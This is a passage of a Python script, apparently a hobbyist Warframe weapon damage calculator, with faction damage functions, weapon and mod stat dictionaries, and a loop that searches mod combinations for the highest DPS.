r\n\tPhys_List[1]*=AlphaI*(0.83+0.17/(1+SMMOAAr/300))+AlphaIF*(0.94+0.06/(1+SMMOAAr/300))+AlphaF*(0.985+0.015/(1+SMMOAAr/300))\r\n\tPhys_List[2]*=AlphaI*1.25*(0.83+0.17*0.85/(1+1.15*SMMOAAr/300))+AlphaIF*1.5*(0.94+0.06*0.85/(1+1.15*SMMOAAr/300))+AlphaF*1.15*(0.985+0.015*0.85/(1+1.15*SMMOAAr/300))\r\n\t\r\n\tfor i in range(4):\r\n\t\tfor j in range(4):\r\n\t\t\tElemental_List[i][j]*=Healer_Multi/(1-ViralChance*0.5)\r\n\tfor i in range(3):\r\n\t\tPhys_List[i]*=Healer_Multi/(1-ViralChance*0.5)\r\n\treturn [Phys_List,Elemental_List,TH/NumberEnemies]\r\n\t\r\ndef Orokin(Phys_List,Elemental_List,Level,ArMulti,RadChance,ViralChance,MagChance,ShieldMulti):\r\n\t##Orokin is basically a mix of all 3 factions, weighted as 45% Grineer, 40% Corpus and 15% Infested\r\n\ta_phys=copy.deepcopy(Phys_List)\r\n\ta_ele=copy.deepcopy(Elemental_List)\r\n\t\r\n\ta=Grineer(Phys_List,Elemental_List,Level,ArMulti,ViralChance)\r\n\tPhys_List=copy.deepcopy(a_phys)\r\n\tElemental_List=copy.deepcopy(a_ele)\r\n\r\n\tb=Corpus(Phys_List,Elemental_List,Level,MagChance,ShieldMulti,ViralChance)\r\n\tPhys_List=copy.deepcopy(a_phys)\r\n\tElemental_List=copy.deepcopy(a_ele)\r\n\t\r\n\tc=Infested(Phys_List,Elemental_List,Level,ArMulti,RadChance,ViralChance)\r\n\tPhys_List=copy.deepcopy(a_phys)\r\n\tElemental_List=copy.deepcopy(a_ele)\r\n\r\n\talpha=[[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0]]\r\n\tfor i in range(4):\r\n\t\tfor j in range(4):\r\n\t\t\talpha[i][j]=0.45*a[1][i][j]+0.4*b[1][i][j]+0.15*c[1][i][j]\r\n\tbeta=[0,0,0]\r\n\tfor i in range(3):\r\n\t\tbeta[i]=0.45*a[0][i]+0.4*b[0][i]+0.15*c[0][i]\r\n\tomega=0.45*a[2]+0.4*b[2]+0.15*c[2]\r\n\treturn [beta,alpha,omega]\r\n\r\n##This is a dictionary with all weapons\t\r\n##Weapon:{\"Name\":\"Weapon\",\"Damage\":0,\"Phys\":[0,0,0],\"Elemental\":[],\"Attack_Speed\":0,\"Crit_Chance\":0,\"Crit_Multi\":0,\"Status\":0,\"Ammo\":0,\"Max_Ammo\":0,\"Punch\":0,\"AoE\":radius,\"Finisher\":0,\"Reload_Speed\":0,\"InnateMultishot\":1,\"Firing Type\":\"Full-Auto\"}\r\nWeapon_List={\r\n\"Boltor Prime\":{\"Name\":\"Boltor Prime\",\"Damage\":55,\"Phys\":[90,10,0],\"Elemental\":[],\"Attack_Speed\":10,\"Crit_Chance\":5,\"Crit_Multi\":2,\"Status\":10,\"Ammo\":60,\"Max_Ammo\":540,\"Punch\":0,\"AoE\":0,\"Finisher\":0,\"Reload_Speed\":2.4,\"InnateMultishot\":1,\"Firing Type\":\"Full-Auto\"},\r\n\"Glaxion\":{\"Name\":\"Glaxion\",\"Damage\":12.5,\"Phys\":[0,0,0],\"Elemental\":[[[1,1],100]],\"Attack_Speed\":20,\"Crit_Chance\":5,\"Crit_Multi\":2,\"Status\":1.75,\"Ammo\":300,\"Max_Ammo\":1500,\"Punch\":0,\"AoE\":0,\"Finisher\":0,\"Reload_Speed\":1.5,\"InnateMultishot\":1,\"Firing Type\":\"Continuous\"},\r\n\"Quanta Vandal\":{\"Name\":\"Quanta Vandal\",\"Damage\":220,\"Phys\":[0,0,0],\"Elemental\":[[[2,2],100],[[0,1],10]],\"Attack_Speed\":1,\"Crit_Chance\":10,\"Crit_Multi\":2,\"Status\":25,\"Ammo\":90,\"Max_Ammo\":540,\"Punch\":0,\"AoE\":0,\"Finisher\":0,\"Reload_Speed\":2,\"InnateMultishot\":1,\"Firing Type\":\"Continuous\"},\r\n\"Ignis\":{\"Name\":\"Ignis\",\"Damage\":27,\"Phys\":[0,0,0],\"Elemental\":[[[0,0],100]],\"Attack_Speed\":10,\"Crit_Chance\":5,\"Crit_Multi\":2,\"Status\":2.5,\"Ammo\":150,\"Max_Ammo\":750,\"Punch\":0,\"AoE\":True,\"Finisher\":0,\"Reload_Speed\":2,\"InnateMultishot\":1,\"Firing Type\":\"Continuous\"},\r\n\"Ignis Wraith\":{\"Name\":\"Ignis Wraith\",\"Damage\":25,\"Phys\":[0,0,0],\"Elemental\":[[[0,0],100]],\"Attack_Speed\":10,\"Crit_Chance\":12,\"Crit_Multi\":2,\"Status\":3.0,\"Ammo\":200,\"Max_Ammo\":800,\"Punch\":0,\"AoE\":True,\"Finisher\":0,\"Reload_Speed\":2,\"InnateMultishot\":1,\"Firing Type\":\"Continuous\"}\r\n}\r\n\r\n##These are lists with the data of all mods\r\n##---------------------------------RIVEN MODS UNNACOUNTED FOR AT THE MOMENT---------------------------------------------------\r\n##Mod:{\"Name\":, \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[1st,2nd],%], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n##Stats: \"Damage_Multi\", \"Multishot\", \"Attack_Speed\", \"Crit_Chance\", \"Crit_Multi\", \"Status\", \"Ammo\", \"Max_Ammo\", \"Finisher\", \"StatusDurationModifier\", \"ReloadModifier\", \"RangeModifier\", \"PunchModifier\"\r\nAvailable_Mods=[\r\n{\"Name\":\"Serration\", \"Damage_Multi\":165, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Heavy Caliber\", \"Damage_Multi\":164, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"RangeModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Split Chamber\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Multishot\":90, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"RangeModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Shred\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":30, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"RangeModifier\":0, \"PunchModifier\":1.2},\r\n{\"Name\":\"Primed Bane of Grineer\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"RangeModifier\":0, \"PunchModifier\":0,\"Grineer\":55},\r\n{\"Name\":\"Primed Bane of Corpus\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"RangeModifier\":0, \"PunchModifier\":0,\"Corpus\":55},\r\n{\"Name\":\"Primed Bane of Infested\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"RangeModifier\":0, \"PunchModifier\":0,\"Infested\":55},\r\n{\"Name\":\"Firestorm\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"RangeModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Primed Rifle Ammo Mutation\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"RangeModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Vile Acceleration\", \"Damage_Multi\":-15, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":90, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"RangeModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Primed Fast Hands\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":-55, \"RangeModifier\":0, \"PunchModifier\":0}\r\n]\r\nElemental_Mods=[\r\n{\"Name\":\"Primed Cryo Rounds\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[[1,1],165]], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Hellfire\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[[0,0],90]], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Infected Clip\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[[3,3],90]], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Stormbringer\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[[2,2],90]], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"High Voltage\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[[2,2],60]], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":60, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Malignant Force\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[[3,3],60]], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":60, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Rime Rounds\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[[1,1],60]], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":60, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Thermite Rounds\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[[0,0],60]], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":60, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0},\r\n{\"Name\":\"Wildfire\", \"Damage_Multi\":0, \"Phys\":[0,0,0], \"Elemental\":[[[0,0],60]], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":20, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0}\r\n]\r\n\r\n##----------------------------------------------------------------------------------------------------------------------------\r\n##-------------------------------------------------GLORIOUS FUNCTION IS HERE--------------------------------------------------\r\n##----------------------------------------------------------------------------------------------------------------------------\r\ndef Weapon_Calculator(input_dict):\r\n\t##I'll define 3 DPS types: 1)Burst; 2)Sustained; 3)Continuous\r\n\t##1)Burst is damage per bullet; 2)Sustained is DPS per mag; 3)Continuous takes into account reload speeds; Sustained is default\r\n\t##The variable AmmoEff will dictate if Ammo should be taken into account, with 0 being default (disabled)\r\n\t##Weapon is a string to be associated with the weapon\r\n\t##Rifles only ATM\r\n\tglobal Weapon_List\r\n\tglobal Available_Mods\r\n\tglobal Elemental_Mods\r\n\t\r\n\t##Data Interpretation:\r\n\tif (\"Weapon Name\" in input_dict)==True:\r\n\t\tWeapon_Name=input_dict[\"Weapon Name\"]\r\n\telse:\r\n\t\tprint(\"No Weapon Name in input!\")\r\n\t\treturn None\r\n\tif (\"Faction\" in input_dict)==True:\r\n\t\tFaction=input_dict[\"Faction\"]\r\n\telse:\r\n\t\tprint(\"No Faction in input!\")\r\n\t\treturn None\r\n\tif (\"Level\" in input_dict)==True:\r\n\t\tLevel=input_dict[\"Level\"]\r\n\telse:\r\n\t\tLevel=40\r\n\tif (\"Mod Space\" in input_dict)==True:\r\n\t\tmod_space=input_dict[\"Mod Space\"]\r\n\telse:\r\n\t\tmod_space=8\r\n\tif (\"DPS Type\" in input_dict)==True:\r\n\t\tDPS_Type=input_dict[\"DPS Type\"]\r\n\telse:\r\n\t\tDPS_Type=\"Sustained\"\r\n\tif (\"Ammo Efficiency\" in input_dict)==True:\r\n\t\tAmmoEff=input_dict[\"Ammo Efficiency\"]\r\n\telse:\r\n\t\tAmmoEff=0\r\n\tif (\"Armor Multi\" in input_dict)==True:\r\n\t\tArmorMulti=input_dict[\"Armor Multi\"]\r\n\telse:\r\n\t\tArmorMulti=1\r\n\tif (\"Shield Multi\" in input_dict)==True:\r\n\t\tShieldMulti=input_dict[\"Shield Multi\"]\r\n\telse:\r\n\t\tShieldMulti=1\r\n\tif (\"Crit Use\" in input_dict)==True:\r\n\t\tCrit_Use=input_dict[\"Crit Use\"]\r\n\telse:\r\n\t\tCrit_Use=1\r\n\tif (\"Status Use\" in input_dict)==True:\r\n\t\tStatus_Use=input_dict[\"Status Use\"]\r\n\telse:\r\n\t\tStatus_Use=1\r\n\tif (\"Multi-Target\" in input_dict)==True:\r\n\t\tMultiTarget=input_dict[\"Multi-Target\"]\r\n\telse:\r\n\t\tMultiTarget=0\r\n\tif (\"Start\" in input_dict)==True:\r\n\t\tStart_value=input_dict[\"Start\"]\r\n\telse:\r\n\t\tStart_value=0\r\n\tif (\"End\" in input_dict)==True:\r\n\t\tEnd_value=input_dict[\"End\"]\r\n\telse:\r\n\t\tEnd_value=1\r\n\tif \"Riven\" in input_dict:\r\n\t\tRiven_mod=mod_layout(\"Riven\",input_dict[\"Riven\"])\r\n\t\tif \"Elemental\" in Riven_mod:\r\n\t\t\tElemental_Mods+=[Riven_mod]\r\n\t\telse:\r\n\t\t\tAvailable_Mods+=[Riven_mod]\r\n\t##Note: Buffs allows consideration of conditional mods such as Argon Scope into calculation as a permanent buff\r\n\tif \"Buff\" in input_dict:\r\n\t\tBuff=mod_layout(\"Buff\",input_dict[\"Buff\"])\r\n\t\tif \"Elemental\" not in Buff:\r\n\t\t\tBuff[\"Elemental\"]=[[0,0],0]\r\n\t\r\n\t##Initialization:\r\n\tStat_Used_Mods,Elemental_Used_Mods=Interval_Combination_Function(Start_value,mod_space)\r\n\tEnd_Case_Stat,End_Case_Ele=Interval_Combination_Function(End_value,mod_space)\r\n\t\r\n\tWeapon=dict(Weapon_List[Weapon_Name])\r\n\t\r\n\tif Stat_Used_Mods==End_Case_Stat and Elemental_Used_Mods==End_Case_Ele:\r\n\t\treturn \"Interval too small\"\r\n\t\r\n\tif Weapon[\"Firing Type\"]==\"Single-Shot\" and DPS_Type!=\"Burst\":\r\n\t\tprint(\"Single-Shot weapon, DPS Type autosetting to Burst\")\r\n\t\tDPS_Type=\"Burst\"\r\n\r\n\tif Weapon[\"Firing Type\"]==\"Continuous\" and DPS_Type==\"Burst\":\r\n\t\tprint(\"Continuous weapon, DPS Type autosetting to Sustained\")\r\n\t\tDPS_Type=\"Sustained\"\r\n\t\r\n\tMaximum_Result=0\r\n\tMaximum_Set_Status=[]\r\n\tMaximum_Set_Elemental=[]\r\n\tMaximum_Set_Avg_Targets=1\r\n\t\r\n\t##recursive part ---------------------------------------------------------------------------------------------------------\r\n\twhile Stat_Used_Mods!=End_Case_Stat or Elemental_Used_Mods!=End_Case_Ele:\r\n\t\t\r\n\t\tWeapon=dict(Weapon_List[Weapon_Name])\r\n\t\t\r\n\t\t##Buffs\r\n\t\tif \"Buff\" in input_dict:\r\n\t\t\tElemental_Mods+=[Buff]\r\n\t\t\tElemental_Used_Mods+=[len(Elemental_Used_Mods)-1]\r\n\t\t\r\n\t\t##the following matrix will be forced symmetric\r\n\t\tElemental_Matrix=[[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0]]\r\n\t\t\r\n\t\t##Note: Phys mods only work if the weapon already deals physical damage\r\n\t\tPhys_Matrix=[100,100,100]\r\n\t\t\r\n\t\t##these quantities are in percentage:\r\n\t\tMultishot=100\r\n\t\tAttack_Speed=100\r\n\t\tCrit_Chance=100\r\n\t\tCrit_Multi=100\r\n\t\tStatus=100\r\n\t\tDamage_Multi=100\r\n\t\tFinisher=100\r\n\t\tAmmo=100\r\n\t\tMax_Ammo=100\r\n\t\tStatusDurationModifier=100\r\n\t\tPreCombinationToxin=0\r\n\t\tReloadModifier=100\r\n\t\tAddedPunch=0\r\n\t\tFactionMulti=100\r\n\t\tFirestorm=0\r\n\t\t##Stat mods\r\n\t\tfor i in Stat_Used_Mods:\r\n\t\t\t##stats\r\n\t\t\tMultishot+=Available_Mods[i][\"Multishot\"]\r\n\t\t\tAttack_Speed+=Available_Mods[i][\"Attack_Speed\"]\r\n\t\t\tCrit_Chance+=Available_Mods[i][\"Crit_Chance\"]\r\n\t\t\tCrit_Multi+=Available_Mods[i][\"Crit_Multi\"]\r\n\t\t\tStatus+=Available_Mods[i][\"Status\"]\r\n\t\t\tDamage_Multi+=Available_Mods[i][\"Damage_Multi\"]\r\n\t\t\tFinisher+=Available_Mods[i][\"Finisher\"]\r\n\t\t\tAmmo+=Available_Mods[i][\"Ammo\"]\r\n\t\t\tMax_Ammo+=Available_Mods[i][\"Max_Ammo\"]\r\n\t\t\tStatusDurationModifier+=Available_Mods[i][\"StatusDurationModifier\"]\r\n\t\t\tReloadModifier*=Available_Mods[i][\"ReloadModifier\"]/100\r\n\t\t\tAddedPunch+=Available_Mods[i][\"PunchModifier\"]\r\n\t\t\tAmmo_Mutation=0\r\n\t\t\tif Faction in Available_Mods[i]:\r\n\t\t\t\tFactionMulti+=Available_Mods[i][Faction]\r\n\t\t\tif Available_Mods[i][\"Name\"]==\"Firestorm\":\r\n\t\t\t\tif Weapon[\"Name\"] in [\"Ignis\",\"Ignis Vandal\",\"Ogris\",\"Penta\",\"Torid\",\"Opticor\",\"Tonkor\",\"Zarr\",\"Javlok\"]:\r\n\t\t\t\t\tFirestorm=1\r\n\t\t\tif \"Mutation\" in Available_Mods[i][\"Name\"]:\r\n\t\t\t\tAmmo_Mutation=1\r\n\t\t\t##physical\r\n\t\t\tfor p in range (3):\r\n\t\t\t\tPhys_Matrix[p]+=Available_Mods[i][\"Phys\"][p]\r\n\t\t##Special mods are to be inserted here (if i want to)-------------------------------------------------------------------\r\n\t\t\r\n\t\t##Elemental mods\r\n\t\t##Note that a counter is added to toxin damage and to phys damage because of status calculations\r\n\t\tfor i in Elemental_Used_Mods:\r\n\t\t\t##stats (because dual stat mods)\r\n\t\t\tMultishot+=Elemental_Mods[i][\"Multishot\"]\r\n\t\t\tAttack_Speed+=Elemental_Mods[i][\"Attack_Speed\"]\r\n\t\t\tCrit_Chance+=Elemental_Mods[i][\"Crit_Chance\"]\r\n\t\t\tCrit_Multi+=Elemental_Mods[i][\"Crit_Multi\"]\r\n\t\t\tStatus+=Elemental_Mods[i][\"Status\"]\r\n\t\t\tDamage_Multi+=Elemental_Mods[i][\"Damage_Multi\"]\r\n\t\t\tFinisher+=Elemental_Mods[i][\"Finisher\"]\r\n\t\t\tAmmo+=Elemental_Mods[i][\"Ammo\"]\r\n\t\t\tMax_Ammo+=Elemental_Mods[i][\"Max_Ammo\"]\r\n\t\t\tStatusDurationModifier+=Elemental_Mods[i][\"StatusDurationModifier\"]\r\n\t\t\tReloadModifier+=Elemental_Mods[i][\"ReloadModifier\"]\r\n\t\t\tAddedPunch+=Elemental_Mods[i][\"PunchModifier\"]\r\n\t\t\tif Faction in Elemental_Mods[i]:\r\n\t\t\t\tFactionMulti+=Elemental_Mods[i][Faction]\r\n\t\t\t##physical\r\n\t\t\tfor p in range (3):\r\n\t\t\t\tPhys_Matrix[p]+=Elemental_Mods[i][\"Phys\"][p]\r\n\t\t\t##Updated to more than one element because of Rivens\r\n\t\t\t##However, all elements are single and order matters\r\n\t\t\tfor nele in range(len(Elemental_Mods[i][\"Elemental\"])):\r\n\t\t\t\tj=Elemental_Mods[i][\"Elemental\"][nele][0][0]\r\n\t\t\t\t##in case the element is already being used\r\n\t\t\t\tif Line_Sum(Elemental_Matrix[j])!=0:\r\n\t\t\t\t\tfor k in range(4):\r\n\t\t\t\t\t\tif Elemental_Matrix[j][k]!=0:\r\n\t\t\t\t\t\t\tElemental_Matrix[j][k]+=Elemental_Mods[i][\"Elemental\"][nele][1]\r\n\t\t\t\t\t\t\tElemental_Matrix[k][j]=Elemental_Matrix[j][k]\r\n\t\t\t\t##in case the element isn't being used and there is no free element\r\n\t\t\t\telif Matrix_Trace(Elemental_Matrix)==0:\r\n\t\t\t\t\tElemental_Matrix[j][j]+=Elemental_Mods[i][\"Elemental\"][nele][1]\r\n\t\t\t\t##in case the element isn't being used and there is a free element\r\n\t\t\t\telse:\r\n\t\t\t\t\tk=0\r\n\t\t\t\t\twhile Elemental_Matrix[k][k]==0:\r\n\t\t\t\t\t\tk+=1\r\n\t\t\t\t\tElemental_Matrix[j][k]=Elemental_Mods[i][\"Elemental\"][nele][1]+Elemental_Matrix[k][k]\r\n\t\t\t\t\tElemental_Matrix[k][k]=0\r\n\t\t\t\t\tElemental_Matrix[k][j]=Elemental_Matrix[j][k]\r\n\t\t\t\t##Toxin Counter [Gas counts as 50%]\r\n\t\t\t\tif Elemental_Mods[i][\"Elemental\"][nele][0]==[3,3]:\r\n\t\t\t\t\tPreCombinationToxin+=Elemental_Mods[i][\"Elemental\"][nele][1]\r\n\t\t\t\r\n\t\t##weapon elemental damage is the last to be added\r\n\t\tif Weapon[\"Elemental\"]!=[]:\r\n\t\t\tfor l in range(len(Weapon[\"Elemental\"])):\r\n\t\t\t\t##in case of a combined element\r\n\t\t\t\tif Weapon[\"Elemental\"][l][0][0]!=Weapon[\"Elemental\"][l][0][1]:\r\n\t\t\t\t\tElemental_Matrix[Weapon[\"Elemental\"][l][0][0]][Weapon[\"Elemental\"][l][0][1]]+=Weapon[\"Elemental\"][l][1]\r\n\t\t\t\t\tElemental_Matrix[Weapon[\"Elemental\"][l][0][1]][Weapon[\"Elemental\"][l][0][0]]=Elemental_Matrix[Weapon[\"Elemental\"][l][0][0]][Weapon[\"Elemental\"][l][0][1]]\r\n\t\t\t\t##single element, copy paste of the mod section\r\n\t\t\t\telse:\r\n\t\t\t\t\t##NOTE: HERE IS CONSIDERED THAT ELEMENTAL MODS HAVE ONLY A SINGLE MOD\r\n\t\t\t\t\tj=Weapon[\"Elemental\"][l][0][0]\r\n\t\t\t\t\t##in case the element is already being used\r\n\t\t\t\t\tif Line_Sum(Elemental_Matrix[j])!=0:\r\n\t\t\t\t\t\tfor k in range(4):\r\n\t\t\t\t\t\t\tif Elemental_Matrix[j][k]!=0:\r\n\t\t\t\t\t\t\t\tElemental_Matrix[j][k]+=Weapon[\"Elemental\"][l][1]\r\n\t\t\t\t\t\t\t\tElemental_Matrix[k][j]=Elemental_Matrix[j][k]\r\n\t\t\t\t\t##in case the element isn't being used and there is no free element\r\n\t\t\t\t\telif Matrix_Trace(Elemental_Matrix)==0:\r\n\t\t\t\t\t\tElemental_Matrix[j][j]+=Weapon[\"Elemental\"][l][1]\r\n\t\t\t\t\t##in case the element isn't being used and there is a free element\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tk=0\r\n\t\t\t\t\t\twhile Elemental_Matrix[k][k]==0:\r\n\t\t\t\t\t\t\tk+=1\r\n\t\t\t\t\t\tElemental_Matrix[j][k]=Weapon[\"Elemental\"][l][1]+Elemental_Matrix[k][k]\r\n\t\t\t\t\t\tElemental_Matrix[k][k]=0\r\n\t\t\t\t\t\tElemental_Matrix[k][j]=Elemental_Matrix[j][k]\r\n\t\t\t\t##Toxin Counter [Gas counts as 50%]\r\n\t\t\t\tif Weapon[\"Elemental\"][l][0]==[3,3]:\r\n\t\t\t\t\tPreCombinationToxin+=Weapon[\"Elemental\"][l][1]\r\n\t\t\t\tif Weapon[\"Elemental\"][l][0]==[0,3]:\r\n\t\t\t\t\tPreCombinationToxin+=Weapon[\"Elemental\"][l][1]/2\r\n\t\t\t\r\n\t\t##Phys mods only work if the weapon has phys damage\r\n\t\tBasePhys=0\r\n\t\tfor i in range(3):\r\n\t\t\tBasePhys+=Weapon[\"Phys\"][i]/100\r\n\t\t\tPhys_Matrix[i]*=Weapon[\"Phys\"][i]/100\r\n\t\t\r\n\t\t##special weapon interactions to be added here (e.g. secondary fire modes such as in the Quanta, single shots, etc.)---------------------------\r\n\t\t\r\n\t\tWeapon[\"Attack_Speed\"]*=Attack_Speed/100\r\n\t\tWeapon[\"Status\"]*=Status/10000\r\n\t\tWeapon[\"Crit_Chance\"]*=Crit_Chance/10000\r\n\t\tWeapon[\"Crit_Multi\"]*=Crit_Multi/100\r\n\t\tWeapon[\"Ammo\"]*=Ammo/100\r\n\t\tWeapon[\"Max_Ammo\"]*=Max_Ammo/100\r\n\t\tWeapon[\"Damage\"]*=Damage_Multi/100\r\n\t\tWeapon[\"Reload_Speed\"]*=ReloadModifier/100\r\n\t\tWeapon[\"Punch\"]+=AddedPunch\r\n\t\tMultishot/=100\r\n\t\t\r\n\t\tif DPS_Type==\"Burst\":\r\n\t\t\tWeapon[\"Attack_Speed\"]=1\r\n\t\t\t\r\n\t\tif Weapon[\"Firing Type\"]==\"Semi-Auto\" and Weapon[\"Attack_Speed\"]>8:\r\n\t\t\tWeapon[\"Attack_Speed\"]=8\r\n\r\n\r\n\r\n\r\n\t\t##------------------------------------------AoE AND PUNCH THROUGH CALCULATIONS---------------------------------------------------\r\n\t\t##Previously I had some weird calculations to determinate the ammount of hit enemies based on AoE Radius, Punch Through and Range\r\n\t\t##Eventually had to fine tune it because there are no ideal scenarios\r\n\t\t##Thus I'm going to assume that if AoE!=0, Avg_Targets=3+Firestorm\r\n\t\t##If Punch!=0 and AoE=0, Avg_Targets=(Punch/(0.7 *(2 if Infested)))\r\n\t\t##Range becomes Utility mod, and was removed from program\r\n\t\t##Multitarget now becomes active by default\r\n\t\tAvg_Targets=1\r\n\t\tif MultiTarget==1:\r\n\t\t\tif Weapon[\"AoE\"]==True:\r\n\t\t\t\tAvg_Targets=max(3+Firestorm,1)\r\n\t\t\telif Weapon[\"Punch\"]!=0:\r\n\t\t\t\tAvg_Targets=max(1+(Weapon[\"Punch\"]/(0.7*(1+(Faction==\"Infested\")))),1)\r\n\r\n\t\t\t\t\r\n\t\t\t\t\r\n\r\n\t\t##-------------------------------------------------DAMAGE FUNCTION----------------------------------------------------\r\n\t\tdef Bullet_Damage():\r\n\t\t\t##AvgHP is important for ammo and status calculations\r\n\t\t\tavghp=0\r\n\t\t\tphy=[]\r\n\t\t\telem=[]\r\n\t\t\tif Faction==\"Grineer\":\r\n\t\t\t\tphy,elem,avghp=Grineer(Phys_Matrix,Elemental_Matrix,Level,ArmorMulti,ViralUptime)\r\n\t\t\telif 